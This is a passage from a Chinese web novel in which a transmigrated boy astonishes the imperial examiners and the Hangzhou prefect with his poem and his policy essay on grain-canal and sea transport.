而最令他心潮澎湃的,是陆明渊提出的那一整套解决之道,并非空谈,而是具体而微,甚至连税收的分配、水师的组建、商行的监管,都考虑得清清楚楚。 这份策论,不像是出自一个学子之手,更像是一份久经磨砺、深思熟虑的朝廷奏章! 陈风的呼吸变得粗重,手不自觉地抚上了腰间的玉带,指尖微微颤抖。 他想起了自己年轻时意气风发,也曾对朝政有诸多设想,但与眼前这份策论比起来,竟显得如此稚嫩与空泛。 仅仅两炷香。 从开始落笔到此刻墨迹未干,算上沉思的时间,也才不过两炷香的功夫。 一个寻常考生,即便是才思敏捷,也至多能完成一篇诗赋。 而他,竟写就了这一篇千字策论,字字珠玑,句句惊心。 陈风的眼中,震惊、赞赏、疑惑,甚至有一丝难以言喻的敬畏。 他几乎能预见到,这篇策论一旦面世,将在大乾的庙堂之上掀起怎样的轩然大波! 写出这篇策论的少年,又将是何等惊才绝艳的存在! 他死死地盯着那卷面,恨不得将其拓印下来,仔细研读。 陆明渊却浑然不觉身后两位考官的异样。 他写完最后一笔,将那支狼毫笔轻轻搁在笔架上。 他慢条斯理地将文房四宝一一收好,笔墨纸砚,归置得井井有条。 而后,他并没有像其他考生那样,紧张地检查卷面,或反复思索字句,而是微微闭上了眼睛,靠在椅背上,开始闭目养神。 考棚之内,时不时传来笔尖在纸上摩擦的沙沙声,或是考生们压抑不住的叹息、清咳。 然而,这所有的声音,此刻在其他考生耳中,都比不上陆明渊那边的沉寂来得突兀。 许多人纷纷将目光投向了陆明渊的考棚。 “那小子,怎么停笔了?” “写完了?这还不到一个时辰吧?难不成是放弃了?” “嘿,县试得了魁首就真以为自己是文曲星下凡了?这策论文章,岂是寻常文章可比?怕是连题目都没读懂吧!” 窃窃私语声如同细密的雨丝,在考棚内无声地蔓延。 他们看着陆明渊那闭目养神的姿态,或是不解,或是讥讽。 更多的,则是认为这个少年在如此重要的府试策论环节,竟然提前放弃了。 不远处,与陆明渊同在一列考棚的陈子修,也注意到了这边的动静。 他刚刚洋洋洒洒地写了一大段经义文章,正准备酝酿策论的思路。 他瞥了一眼陆明渊,见他真的闭着眼睛,一副悠然自得的模样,唇角不禁勾起一抹鄙夷的弧度。 “哼,果然是个泥腿子出身,不过是县试运气好罢了。” 陈子修心中暗自冷笑。 他出身世家,自幼便有名师指点,对于陆明渊这个横空出世的江陵县魁首,一直耿耿于怀。 在他看来,陆明渊根本不可能写出什么像样的策论文章,更不可能理解这道涉及国策的深奥命题。 “乡野村夫,终究是上不得台面。” 陈子修心中暗爽,眼底尽是得意。 一股豪情涌上心头,他再次提笔,下定决心要写出一篇震古烁今的策论文章,! 时间如同漏沙,悄无声息地流逝。 一个时辰很快过去。 当高台上的铜漏滴尽最后一滴水,主考官陈风那洪亮而威严的声音,如同一道惊雷,在考棚内炸响。 “时间已到,所有考生立刻停止答题!” 这道命令,如同判决,瞬间让整个考棚的气氛凝固。 “巡考官听令,立刻下场维持考场秩序,禁止考生再有半分执笔!” 数名身穿皂衣的巡考官应声而动,他们面色严肃,手持戒尺,疾步走入考棚,穿梭在狭窄的过道之间。 “停笔!停笔!再敢作答者,以舞弊论处,革除功名,永不录用!” 考棚内顿时一片哀嚎。 “大人!大人开恩啊!小生尚有数句未曾写完!” “求求大人了!再给小生片刻!小生一生心血,皆在此文!” 有的考生笔尖停在半空,墨汁滴落,在卷面上洇开一团污渍,悔恨不已。 有的考生更是情绪崩溃,趴在桌案上,失声痛哭,墨迹与泪水混淆,模糊了原本清晰的字迹。 巡考官们却不为所动,他们面无表情,严格执行着主考官的命令。 “不必多言!凡未停笔者,一律以不及格论处,立即收卷!” 严厉的呵斥,冰冷的语气,如同寒冬的凛风,瞬间浇灭了所有人的侥幸。 考生们面如死灰,只得不甘地放下笔,眼睁睁看着巡考官将自己的心血之作收走。 整个考场内,弥漫着一股绝望与悲凉的气息。 许多人紧张得手心冒汗,心脏在胸腔里剧烈跳动,生怕自己因为细微的疏忽而被判个不及格。 唯独陆明渊,自始至终神情淡然。 他望着那些哭泣、哀求的考生,心中没有半分波澜,反而感到一种彻骨的平静。 前世的他,曾见过太多类似的场景,在高考、考研、公考的战场上,因一分之差而抱憾终生者比比皆是。 这便是科举,这是人世间最残酷也最公平的晋升之道,没有半点温情可言。 陆明渊对自己的实力有着绝对的自信。 府试中榜,已是板上钉钉。 唯一的疑虑便是,能否一举夺魁,竞争榜首! 第074章 这个试卷有些意思! 陆明渊缓缓起身,活动了一下有些僵硬的身体。 走出考棚,迎面便看到林家府学的夫子,正焦急地在门外等候。 这位夫子姓刘,须发皆白,身形有些佝偻,但他精神矍铄,双眼锐利,是林家府学里最受人尊敬的几位夫子之一。 此刻,他正清点着自家学子的人数,见陆明渊走来,那紧绷的眉心才稍稍舒展。 “都过来!都过来!” 刘夫子将林家府学的学子们召集到一处,声音虽有些嘶哑,却透着一股不容置疑的威严。 学子们纷纷围拢过来,你一言我一语地汇报着自己的考试情况。 “夫子,学生今日文思泉涌,经义一气呵成,自觉颇有可观之处!” 一位面色红润的学子,言语间带着止不住的喜悦。 “哼,经义算什么?策论才是重头戏!” 旁边立刻有人反驳,语气中带着一丝不屑。 “哎,学生今日运道不佳,策论思路有些堵塞,只恐难以入考官之眼。” 也有学子垂头丧气,眼眶微红,显然对自己的表现不甚满意。 刘夫子一边倾听,一边不住地颔首,偶尔也会轻声宽慰几句那些失误之人。 他的目光在人群中穿梭,最终落在了陆明渊身上。 陆明渊是林家三爷林瀚文,亲自点名要关照的学子,加之县试魁首的身份,刘夫子自然不敢怠慢。 “明渊啊,你今日考得如何?” 刘夫子走到陆明渊面前,语气里带着几分关切。 陆明渊微微躬身,神色谦逊,不卑不亢地回应道。 “回夫子,学生已尽力而为,尚可。” 他话语不多,却透着一股沉稳。 “尚可?” 一个带着几分嘲讽的声音突兀地插了进来。 说话之人正是陈子修。 他方才被众星捧月般围在中央,听着同伴们对他的吹捧,心中得意非凡。 此刻见到刘夫子对陆明渊这般关怀备至,再听陆明渊那句轻描淡写的“尚可”,心中顿时涌起一股不忿。 “夫子有所不知,陆县魁今日可是大出风头啊!” 陈子修扬了扬眉,语气阴阳怪气。 “学生亲眼所见,他不到一个时辰便收卷,竟比旁人足足提前了一个时辰!” 此言一出,周围的学子们纷纷侧目。 提前一个时辰交卷? 这在科举考试中,简直是闻所未闻的奇闻! 要么是胸有成竹,下笔如有神助,要么便是根本无从下笔,直接放弃了。 联系到陆明渊那“乡野村夫”的出身,众人心中的天平,自然倾斜向了后者。 陈子修见众人目光都被吸引,心中暗爽,更觉有了底气,继续冷嘲热讽道。 “想来陆县魁是觉得这策论题目太过简单,所以急着交卷出去游玩了吧?” “不过说句公道话,夫子您也别怪他。这次的策论,不似寻常文章,并非高谈阔论、空泛议政便可。” “它讲究的是切实的方略、可行的方案,要对国计民生有深刻的理解,对朝堂之事有独到的见解。” 他顿了顿,语气里充满了上位者的傲慢与轻蔑。 “陆县魁读书尚短,毕竟是从县学里出来的,哪里能接触到这些深奥的国策?写不出来,也是情理之中。” 陈子修的这番话,句句诛心。 刘夫子听了陈子修的话,脸色顿时一变。 他转头望向陆明渊,眼中带着一丝难以置信的询问。 “明渊,子修所言,可是真的?你当真提前了一个时辰收卷?” 陆明渊平静地点了点头,没有丝毫闪躲。 刘夫子瞬间如遭雷击,身形晃了晃,脸上原本的关切变成了彻骨的绝望。 他本对陆明渊寄予厚望,认为他即便不能夺魁,入围府试也应是板上钉钉之事。 可如今……提前一个时辰交卷,这简直是自毁前程! 他了解陆明渊的才华,知道他并非轻浮之人,可策论不同于诗赋,更非寻常经义。 一篇能够入眼的策论,没有一两个时辰的构思与书写,绝无可能完成。 而陆明渊,仅仅用了不到一个时辰? “完了……完了……” 刘夫子喃喃自语,仿佛瞬间苍老了十岁。 在他数十年的教学经验中,还从未听闻有人能提前一个时辰写完策论还能有所建树的。 在他看来,这唯一的解释,便是陆明渊根本没有写策论,亦或是,只是寥寥数语,敷衍了事。 这等举动,无异于直接放弃了府试,断送了自己大好的前程。 陆明渊见刘夫子面色巨变,眼底尽是绝望之色,却并未开口解释太多。 他知道,此时此刻,任何解释都是苍白的。 是非曲直,放榜之日,自会明了。 他只是再次拱手,低声道:“夫子,学生告退。” 刘夫子沉浸在自己的绝望中,并未多言,只是疲惫地挥了挥手。 陆明渊便转身离去,留下身后一众或幸灾乐祸,或惋惜叹息的目光。 走出林家府学为他们准备的歇脚处,陆明渊没有理会那些纷扰,径直返回了福来客栈。 将文房四宝小心翼翼地放好,他取下腰间的钱袋,便独自一人出了客栈,融入了杭州府熙熙攘攘的人群之中。 府试放榜,还需要三天。 这三天时间,他打算好好游览一番这座名扬天下的人间天堂。 与此同时,杭州府的街道上,来往的行人比往日更多了几分。 那些来自四面八方的考生们,此刻也纷纷放下了心中沉甸甸的负担,或三五成群,或孑然一身,穿梭在杭州府的大街小巷。 他们大多怀揣着忐忑与憧憬,在等待命运宣判的日子里,用游览与消遣,来冲淡内心的焦躁。 从烟柳画桥,到风荷举,杭州府的美景,仿佛一幅流动的画卷,在陆明渊眼前徐徐展开。 他漫步西湖边,看波光潋滟,柳色如烟;他穿梭在巷陌深处,听吴侬软语,市井喧嚣。前世的记忆与今生的体验交织,让他对这片土地有了更深切的感受。 在陆明渊于杭州的旖旎风光中沉淀心境之时,府试考场的试卷,已经由主考官带着城卫军,送到了位于府衙深处的阅卷室。 阅卷室灯火通明,四名考官端坐其中,桌案上堆满了厚厚的考卷。 空气中弥漫着淡淡的墨香与纸张的清涩气息,肃穆而凝重。 陈风坐在主位,眉心微蹙。 他已经批阅了十几份试卷,却无一能够让他提起兴致。 大部分考卷都中规中矩,偶有亮眼之处,却也难入他的法眼。 他素来治学严谨,眼界极高,寻常的才学,对他而言已是味同嚼蜡。 他放下手中一份平庸的试卷,揉了揉有些酸胀的眉心,目光扫过其余三位考官。 “诸位,可有发现什么惊喜的试卷?今日这等文章,批阅多了,着实有些让人意兴阑珊啊。” 三位考官闻言,皆是苦笑。 “陈大人,今年考生的水平,似乎与往年并无太大差异。” 一位考官放下笔,摇了摇头。 “是啊,都是些老生常谈,翻来覆去,无非是那些陈词滥调。” 另一位考官也附和道。 陈风闻言,眉头的褶皱更深了几分。 他心中所念的,自然是陆明渊那篇惊世策论。 他本想亲自批阅陆明渊的试卷,一睹其风采,但考场规矩,为了公平起见,试卷皆是随机分发,他也无权干涉。 此刻听闻并无特别出彩之处,心中不免有些焦急。 他正欲起身,打算亲自去堆积如山的考卷中翻找一番,哪怕只是看一眼那熟悉的墨迹。 就在此时,一声带着几分惊呼的赞叹,打破了阅卷室的沉闷。 “咿?这个试卷有些意思!” 一位年约五十的考官,原本无精打采的脸上,此刻竟泛起了前所未有的亮光。 他猛地坐直了身子,双手紧紧地抓着手中那卷尚未完全展开的考卷。 第075章 此事非同小可! 陈风的身体在主位上微微一震,原本疲惫的双眼陡然亮起一丝精光。 他豁然起身,大步流星地朝着那考官的方向走去。 其余两位考官也相视一眼,脸上皆浮现出好奇与期盼,不约而同地放下了手中的笔墨,一同围拢过去。 “如何?” 那五十岁上下的考官,指尖有些颤抖地抚过试卷,眼中闪烁着难以言喻的激动。 他没有立刻回答陈风的问题,而是小心翼翼地将试卷完全铺开。 众人凑上前去,第一眼便被试卷上的字迹吸引。 那墨色如漆,落笔沉稳,行文流畅,笔力深厚。 “这字……这字便是不俗!” 一位考官不由得赞叹出声。 “观其运笔,老辣而又不失灵动,绝非寻常少年能够写出。” 另一位考官也跟着点头,语气中带着一丝赞许。 陈风的目光落在那些字迹上,心头隐隐升起一种熟悉感,却又不敢完全确定。 他清楚记得陆明渊的字迹,但考卷上的字迹经过誊抄,难免会有些许差别。 然而,那份藏于笔锋深处的自信与从容,却与他印象中的少年如出一辙。 “再看默写。” 五十岁考官的声音再次响起,带着一种发现宝藏般的欣喜。 众人目光下移,只见试卷上默写的《大学》章句,笔笔精准,字字无误,更无一处涂改。 “默写全对,一字不差!” “是啊,这份基本功,足见其平日苦读之功。” 几位考官纷纷点头,脸上的赞许之色更浓。 这已经是一份极为优秀的答卷了,足以让他们今日的辛劳得到一丝慰藉。 然而,他们并不知道,真正的惊喜,才刚刚开始。 五十岁考官深吸一口气,目光落在诗词部分。 他忍不住轻声念道。 “金风动玉旒,墨涌九天秋。” 声音不高,但在寂静的阅卷室里,却字字清晰,如珠落玉盘。 “笔掷三山外,文成五凤楼。” 念到此处,他的声音不由自主地提高了几分,眼中已有光芒闪烁。 陈风的瞳孔猛地一缩,心中那个呼之欲出的名字,此刻已然清晰无比。 这正是他当日在考场上,亲耳听闻,为之震撼的诗句! “蟾宫初折桂,云路已驰骝。” 这句一出,两位原本只是赞叹字迹与默写的考官,脸色骤变,呼吸都变得粗重起来。 他们是饱读诗书之人,自然懂得这其中的抱负与气势,何其磅礴! “莫道青衫薄,今朝第一流!” 当最后一句念毕,阅卷室里骤然陷入一片死寂。 金风,玉旒,墨涌,九天秋。笔掷,三山外,文成,五凤楼。 蟾宫,折桂,云路,驰骝。青衫薄,第一流! 那份少年意气,那份舍我其谁的自信,那份直冲云霄的凌云壮志,瞬间冲破了纸张的束缚。 片刻的沉寂之后,仿佛一场酝酿已久的雷暴,轰然爆发。 “了不起!了不起啊!” 五十岁考官激动得双手颤抖,几乎要将手中的试卷捏皱。 “何止是不俗!这哪里是少年诗作,分明是大家手笔!” 一位考官的胡须都因激动而微微颤动,他猛地一拍桌案,发出“砰”的一声闷响。 “金风动玉旒,墨涌九天秋……好一个墨涌九天秋!这等气魄,这等笔力,真是少年意气风发,挥斥方遒!” “笔掷三山外,文成五凤楼!这是何等的自信?何等的豪迈?他日必成大器!” “蟾宫初折桂,云路已驰骝……此子非池中物,必将一飞冲天!” 众人纷纷开口,语气中充满了惊叹与狂喜。 他们皆是饱学之士,见过无数才子佳作,但眼前这份诗卷,却让他们感受到了久违的震撼。 这不是简单的辞藻堆砌,而是一个少年将自己的才华与抱负,毫无保留地倾泻而出,掷地有声。 “此子必中魁首!魁首之名,非他莫属!” “何止魁首?依我看,此等文采,此等抱负,我杭州府今年说不定要出一个科举状元了!” “状元之才!状元之才啊!” 阅卷室里,议论声如沸,赞叹声不绝于耳。 在场的考官们都是深谙科举之道的老手,他们太清楚这样一份诗卷意味着什么。 陈风站在原地,脸上原本严肃的神情早已被激动所取代。 就是他! 就是陆明渊! 他之前就隐约觉得,陆明渊绝非池中物。 如今看来,果然是惊世骇俗! 诗词已然如此,那策论又会是何等风采? 陈风迫不及待的投向了试卷的策论部分。 其余考官的目光,也紧随其后。 策论的题目,是关于漕运与海运的利弊。 这是朝廷多年来争论不休的国策,牵扯甚广,影响深远。 一般考生大多从传统漕运的稳定与海运的风险两方面着墨。 或是片面地褒扬一方,贬斥另一方,很难提出新颖而切实的方略。 然而,当众人的目光落在策论的开篇之时,那份因为诗词而产生的震撼。 策论的第一句话,便如当头棒喝,直接击中了问题的核心,又超脱了表象的纷争。 “漕海之争,非利弊之辨,实为体用之惑。” “砰!” 一声闷响,是陈风猛地一拍桌案。 他手中的茶盏因震动而晃了晃,茶水溅出些许,但他浑然不觉。 非利弊之辨,实为体用之惑! 这八个字,如同醍醐灌顶,瞬间击碎了众人心中对漕海之争的惯性认知。 何等精辟的概括!何等深刻的洞察! 其余三位考官也瞬间傻眼。 这哪里是少年能够写出的策论? 分明是历经宦海沉浮,深谙治国之道的宿老,才能提炼出的精髓! 不等他们从这第一句话的震撼中回过神来,陆明渊的第二段,又如一道惊雷,轰然炸响在他们心头。 “臣以为,漕运为国之经络,海脉为民之血脉,经络以固本,血脉以活体,二者非但不悖,实乃相辅相成,一体两翼!” 话语磅礴,气势如虹! 国之经络,民之血脉!固本活体,相辅相成,一体两翼! 这短短数语,将漕运与海运的关系,提升到了前所未有的高度。 阅卷室里,再次陷入死一般的沉寂。 这一次,甚至连呼吸声都听不见了。 所有考官都死死地盯着手中的试卷,眼中迸发出前所未有的炽热光芒。 他们顾不上交流,顾不上惊呼,只剩下最原始的冲动——抢着读完这篇惊世骇俗的策论! 陈风最先反应过来,他将整篇策论一览而尽。 他看到了其中对运河河道治理的详细方案,对海运商船安全的考量,对沿海卫所的建设规划,对各地赋税调度的设想。 这份策论,不单有高屋建瓴的理论框架,更有切实可行的操作细节,环环相扣,逻辑严谨,简直无懈可击! 当最后一个字映入眼帘,陈风的身体仿佛被抽空了所有力气,猛地向后仰去,重重地靠在了椅背上。 他的目光有些涣散,却又带着一种极致的狂喜与震撼,嘴唇不住地翕动,喉咙里发出低沉而沙哑的喃喃自语。 “魁首……状元……不,此乃宰辅之才!宰辅之才啊!” 他的声音很轻,却带着一种难以抑制的颤抖。 这少年所展现的,是足以辅佐君王,治理天下的旷世奇才! 一位考官艰难地放下手中的试卷,看向陈风,声音带着几分颤抖。 “陈大人……此事重大,当速速汇报知府大人,请他定夺!” 这句话,仿佛一道惊雷,猛地将陈风从那极致的震撼中唤醒。 他猛地坐直身子,眼中恢复了清明与锐利。 是啊,此事非同小可! 这份策论,若是呈递御前,必然会引起陛下与满朝文武的震惊! “诸位,立刻将所有考卷收拢,严加看管!” 陈风的声音带着不容置疑的威严,他知道,这份试卷一旦泄露,必将掀起滔天巨浪。 他站起身,大步走到桌案前,小心翼翼地拿起那份试卷。 “我亲自去见知府大人!” 第076章 莫道青衫薄,今朝第一流! 知府衙门,深宅大院,青砖黛瓦,层层叠叠。 穿过朱红的仪门,绕过影壁,陈风在一名书吏的引领下,径直来到了知府周泰的书房。 他站在书房中央,手捧试卷,恭敬而又焦急地等待着。 终于,半个时辰后,一阵急促而沉稳的脚步声从屋外传来。 门帘轻响,一位身着靛青官服,面容清癯,眼神锐利的中年男子走了进来。 正是杭州知府周泰。 他步履匆匆,眉宇间带着一丝不悦,显然是被临时召回,打断了之前的事务。 “陈风!你好大的胆子!” 周泰甫一进门,便未曾落座,劈头盖脸地呵斥道。 “身为府试主考官,阅卷期间,竟敢不顾规矩,擅离阅卷之所,擅自将考卷带出!” “你可知此举一旦传扬出去,将置本府于何地?置大乾科举清誉于何地?从现在开始,你不得再参与阅卷,以免有失偏颇!” 周泰的斥责字字珠玑,目光如炬,直刺陈风,仿佛要将他看穿。 面对如此严厉的呵斥,陈风脸上浮现出一抹喜色,眼中精光闪烁。 他非但没有辩解,反而向前一步,将手中的试卷高高举起。 “大人,您看!您看此卷!卑职敢断言,此乃今科府试之魁首!魁首之名,非他莫属!甚至……甚至他日,大人亦可凭借此卷,一飞冲天,封阁拜相,光耀门楣!” 封阁拜相! 这四个字,如同一记重锤,狠狠地敲击在了周泰的心头。 他缓缓地抬起眼皮,锐利的目光在陈风脸上扫过,带着一种深深的不屑与嘲讽。 “陈风,你莫不是被这连日的阅卷给冲昏了头脑?” 周泰冷哼一声,语气中充满了对陈风失态的鄙夷。 “若我杭州府真有这般能助本府封阁拜相的旷世奇才,又何必劳烦圣上,将本府从京城请出,来这江南坐镇一方?” 他并未去接陈风手中的试卷,而是负手而立。 “注意仪态!堂堂主考官,如此失态,成何体统?” 周泰的呵斥再次响起,却未能浇灭陈风心中的热情。 他依然固执地将试卷举着,眼神中带着一种近乎偏执的坚持。 周泰见状,眉头微皱,最终还是叹了口气。 他走到书案后的太师椅上坐下,端起茶盏,轻轻抿了一口,似乎是想借着茶水的清苦,来压制住心中的不悦。 “呈上来吧。” 他语气淡淡,不带丝毫感情。 陈风闻言,如释重负,忙不迭地将试卷放在书案上,然后恭敬地退到一旁。 周泰接过试卷,眼神中依然带着不以为然。 他习惯性地先看字迹。 墨色如漆,笔力沉稳,行文流畅。 周泰端着茶盏的手微微一顿。 这份字迹,确实不俗。 观其运笔,老辣而又不失灵动,绝非寻常少年能够写出。 显然,这考生在书法一途,是下过一番苦功的。 他心中闪过一丝诧异,但很快便压了下去。 字写得好,并不代表文章就佳。他轻轻抿了一口茶,继续往下翻阅。 默写部分,赫然映入眼帘。 《大学》章句,笔笔精准,字字无误,更无一处涂改。 周泰端茶的手再次一滞。 默写全对,一字不差。 这份基本功,足见其平日苦读之功,心性亦是沉稳。 他心中那份不以为然,悄然减弱了一丝。 能写出这等字迹,又能将经典默写得如此完美,可见此子确实有几分才气。 但距离陈风口中的“魁首”、“宰辅之才”,依然是天壤之别。 他轻轻抿了一口茶,目光淡然地扫向诗词部分。 “金风动玉旒,墨涌九天秋。” 周泰的眼神,在触及这第一句时,骤然凝固。 他端着茶盏的手,在空中停了片刻,茶水险些从杯中溢出。 金风,玉旒,这是何等的意境? 墨涌九天秋,笔墨生风,直冲九霄,这等气魄,绝非寻常少年能够构思。 他缓缓将茶盏放下,眼神中原本的淡然,已被一抹难以言喻的光芒所取代。 他坐直了身子,呼吸不自觉地放缓,继续往下看去。 “笔掷三山外,文成五凤楼。” 念到此处,周泰的瞳孔猛地一缩。 他深吸一口气,身体微微前倾。 “蟾宫初折桂,云路已驰骝。” 当这句诗映入眼帘时,周泰的呼吸,骤然变得粗重起来。 他的手指,不自觉地叩击着桌面,发出一声声轻微的闷响。 他原以为,这不过是陈风一时激动,言语夸大。 可此刻,他心中已然明白,自己错了,而且错得离谱! 他强压下心中的震撼,继续往下看去。 “莫道青衫薄,今朝第一流!” 轰! 如同九天神雷在头顶炸响,周泰只觉得脑海中一片空白。 他猛地将手中的试卷按在桌案上,眼中精光爆射! 莫道青衫薄!今朝第一流! 这何止是“第一流”? 这分明是凌驾于所有人之上的绝顶才华! 那份睥睨天下的豪气,那份舍我其谁的霸道,那份直冲云霄的壮志,透过墨迹,直入心脾,让周泰的心脏,也随之剧烈地跳动起来。 陈风看着周泰的反应,脸上露出了然的笑容。 他知道,周泰已经看到了陆明渊的惊世才华。 周泰深吸一口气,努力平复着心头的汹涌。 他重新端起茶盏,轻轻抿了一口茶,茶水微凉,稍微压下了心头的巨震。 他翻开试卷,目光落在策论部分。 策论的题目,是关于漕运与海运的利弊。 这是朝廷多年来争论不休的国策,牵扯甚广,影响深远。 这也是周泰专门选的题目! 当他的目光触及策论开篇的第一句话时—— “漕海之争,非利弊之辨,实为体用之惑。” “噗——!” 周泰猛地将刚刚抿入嘴中的茶水,尽数喷洒而出! 茶水溅湿了书案,也溅湿了他官服的一角,但他浑然不觉。 他猛地从太师椅上弹起,双眼圆睁,死死地盯着试卷上的那八个字。 非利弊之辨,实为体用之惑! 这八个字,瞬间击中了问题的核心,又超脱了表象的纷争! 他顾不得擦拭脸上的茶水,也顾不得整理失仪的官服,几乎是抢着往下看去。 “臣以为,漕运为国之经络,海脉为民之血脉,经络以固本,血脉以活体,二者非但不悖,实乃相辅相成,一体两翼!” 轰隆! 又是一道惊雷,直接轰然炸响在周泰的心头! 国之经络,民之血脉!固本活体,相辅相成,一体两翼! 这短短数语,将漕运与海运的关系,提升到了前所未有的高度! 这哪里是仅仅一份策论? 这分明是一篇足以改变大乾国运,流传千古的治国方略! 周泰的脸色,此刻已是一片涨红。 他猛地抬起头,双目如电,看向陈风。 “这是何人的试卷?!” 立刻将他请来!……本府要亲自见他!” 第077章 本府要亲自问他几个问题 陈风看着周泰的反应,心头一块巨石终于落地。 他知道,自己冒着被革职查办的风险,将这篇试卷带到知府面前,是何等正确的抉择。 他上前一步,躬身答道。 “回大人,此子名叫陆明渊,乃是湖光省江陵县人氏,亦是今科江陵县县试魁首!” 周泰眼神微凝,十岁便得县试魁首,这等天资已属难得。 但更让他动容的,是陈风接下来的话。 “这篇策论,是卑职亲眼所见,陆明渊当着卑职的面儿,于考场之上,一气呵成!” 陈风语气笃定,眉宇间是毫不掩饰的钦佩。 “卑职敢再断言,此文若能呈入京都,传入圣上御览,莫说一个区区府试魁首,便是封侯拜相,亦是等闲!” 封侯拜相! 这四个字,在方才周泰口中,是陈风的狂悖之言;此刻从陈风口中说出,却成了他心中的共鸣。 他缓缓坐回太师椅,眼神复杂地盯着手中的试卷。 他当然认可陈风的说法。 这篇文章,何止不凡?简直是振聋发聩,字字千钧! 它以一种超脱时代的洞察力,直击大乾王朝的根本症结,并且给出了方略。 然而,周泰的目光再次落在试卷上,眉头却渐渐皱了起来。 他细细打量着文章的字数,心中沉吟。 “此文……诚然惊世骇俗。” 周泰的声音低沉下来,带着一丝莫名的惋惜与警惕。 “然,你可知,这篇策论,只有寥寥一千余字?” 陈风闻言一怔,下意识地点头。他方才只顾着震惊于文章的精妙,却忽略了这一细节。 “一千余字,固然能阐明大义,点破玄机。” 周泰的指尖轻叩桌面,发出有节奏的闷响。 “可若想在朝堂之上立足,若想堂堂正正地呈入御前,却嫌过于简略,有些……笼统了。” 他抬眼看向陈风,锐利的目光中闪过一丝寒光:“若现在便将其呈递上去,你可知会发生何事?” 陈风心头一凛,他毕竟是官场中人,稍加思索,便猜到了其中关窍。 “小阁老,必然会将其拦下。” 周泰的声音里带着一丝毫不掩饰的厌恶。 “届时,他只需稍加点缀,润色文字,扩充篇幅,便能将其窃为己有,办成他自己的功劳,然后呈送御前,以此博得圣心!” 陈风的脸色瞬间煞白。他猛地向前一步,眼中充满了惊恐与愤怒。 他光顾着为陆明渊的才华震动,却全然忘了京都那位权势滔天、心狠手辣的小阁老! 那位小阁老,最是擅长窃人功劳,排除异己。 若真让他得了去,陆明渊这篇惊世之作,非但不能为其带来荣耀,反而会成为他人的踏脚石! 而周泰,显然与小阁老势不两立。 “这等事情,本府绝不能允许!” 周泰一拍桌案,茶盏发出清脆的碰撞声。 “陆明渊的才华,绝不能为那等卑鄙小人所用!” 陈风此时也反应过来,自己太过于着急,思虑事情没有那么周全。 他心中懊恼,额头渗出冷汗,连忙问道。 “大人所言极是!卑职……卑职一时激动,考虑不周,还望大人恕罪。” “可……可这篇策论,又该如何办?难道就任由它蒙尘,不呈到皇上面前吗?这……这岂不是莫大的罪过?” 周泰闻言,眼中闪过一丝赞许。 陈风虽然有些莽撞,却仍有为国举才的赤诚之心。 “你这番话,倒是说到了本府心坎里。” 周泰点了点头,目光落在试卷上,眼中闪烁着深思熟虑的光芒。 “此文章自然要呈上去,但绝不能让小阁老占了便宜,更不能让他以此为由,打压异己。” 他沉吟片刻,目光再次落在陈风身上,语气带着一丝郑重。 “这样吧,你先命人,将这陆明渊请过来。本府要亲自问他几个问题。” “第一,此篇策论,究竟是他自己所思所想,还是有旁人指点而为?” “第二,以他如今的见识,可否将此篇策论扩充、完善,使其更具可行性与说服力?” 陈风闻言,如蒙大赦,立刻躬身应诺:“卑职遵命!大人英明!” 周泰当即唤来一名心腹书吏,面色严肃地吩咐道。 “你立刻带着本府的腰牌,前往林家府学。告知林府学刘夫子,本府有要事召见府学学子陆明渊,务必立刻将他带来知府衙门!切记,不得有任何耽搁!” 那书吏见知府大人神色凝重,深知此事非同小可,不敢怠慢,领命后便疾步而去。 …… 林家府学内,刘夫子正于讲堂之上,摇头晃脑地为学子们讲解经义。 忽闻门外一阵急促的脚步声,一名知府衙门的差役手持腰牌,面色焦急地闯入。 “敢问刘夫子,陆明渊何在?知府大人有令,速速将其召至衙门!” 刘夫子闻言,手中的戒尺“啪嗒”一声掉落在地,原本古板的脸上,瞬间涌上惊疑与受宠若惊的神色。 知府大人何等人物?竟会亲自召见府学学子?而且语气如此急切! 他颤抖着声音问道:“敢问差爷,可是陆明渊犯了什么事?” 差役摇了摇头,急切道:“非也非也!知府大人有急事相召,具体何事,下官亦不知晓,还望刘夫子莫要耽搁,速速寻人!” 刘夫子一听不是坏事,心中大定,继而便是止不住的狂喜。 能被知府大人亲自召见,这可是天大的荣耀! 若陆明渊真能因此得到知府赏识,说不定日后便能平步青云! “快!快去寻陆明渊!” 刘夫子连忙吩咐学子们。 “所有人,都给我出去找!务必在最短的时间内,将陆明渊寻回!” 林家府学的学子们从未见过刘夫子如此失态,但也知道事态紧急,顾不得多问,纷纷跑出府学,四散开来,在杭州府内展开了地毯式的搜索。 一时间,林家府学的学子们,几乎要将整个杭州城翻了个底朝天。 然而,彼时的陆明渊,却全然不知岸上已经为了他而天翻地覆。 他正懒洋洋地斜躺在西湖的一艘小船上,任由船夫慢悠悠地摇着桨,船身轻晃,荡开层层涟漪。 湖光山色,微风拂面,他手中随意地把玩着一枚刚从水里捞上来的鹅卵石,心头一片清明。 穿越过来半年有余,他从一个被牺牲的农家子,变成了江陵县的县试魁首。 这具十岁的身躯虽然稚嫩,却因他异于常人的精神力而格外清醒。 每天只需阖眼两个时辰,便能精力充沛。 他享受着这份难得的清闲。 只是,这份难得的悠闲,并未持续太久。 一个时辰后,当船只缓缓靠岸,陆明渊刚一踏上苏堤,便被一群衣衫凌乱、气喘吁吁的林家府学学子给团团围住。 “陆兄!你可让小弟们好找啊!” “陆明渊!你竟敢在此时游湖?!” “快!快随我们去府学!知府大人召见!” 嘈杂的人声,急切的语气,让陆明渊略微挑了挑眉。 知府召见?他心中虽然有些疑惑,但脸上却未露分毫,只是淡淡一笑。 “诸位师兄,何事如此急躁?” 为首的学子顾不得解释,拉着陆明渊便往岸上跑。 他们深怕稍有耽搁,便会惹怒知府,坏了刘夫子的好事。 众人一路小跑,直奔城内的福来客栈。 那里,林家府学的刘夫子正焦急地踱步等候,一旁还有两名知府衙门的差役。 “陆明渊!你这孩子,快快随为师一同前往知府衙门!莫要怠慢了知府大人!” 刘夫子一见陆明渊,便急忙上前,拉着他的手,额头上满是汗珠,却也顾不得擦拭。 陆明渊见状,知道此事不假。 他心中虽疑惑,但面上却仍旧平静,只是朝着刘夫子微微躬身。 “刘夫子放心,卑职自当遵从知府大人召唤。” 在刘夫子和两名差役的簇拥下,一行人不敢有丝毫迟疑,径直穿过熙熙攘攘的街市,朝着杭州知府衙门的方向疾步而去。 第078章 朝廷只需做三件事 刘夫子和两名差役几乎是小跑着,额头渗出细密的汗珠,生怕稍有耽搁,便会惹恼了那位端坐高堂的知府大人。 陆明渊的步履却依旧从容,不疾不徐。 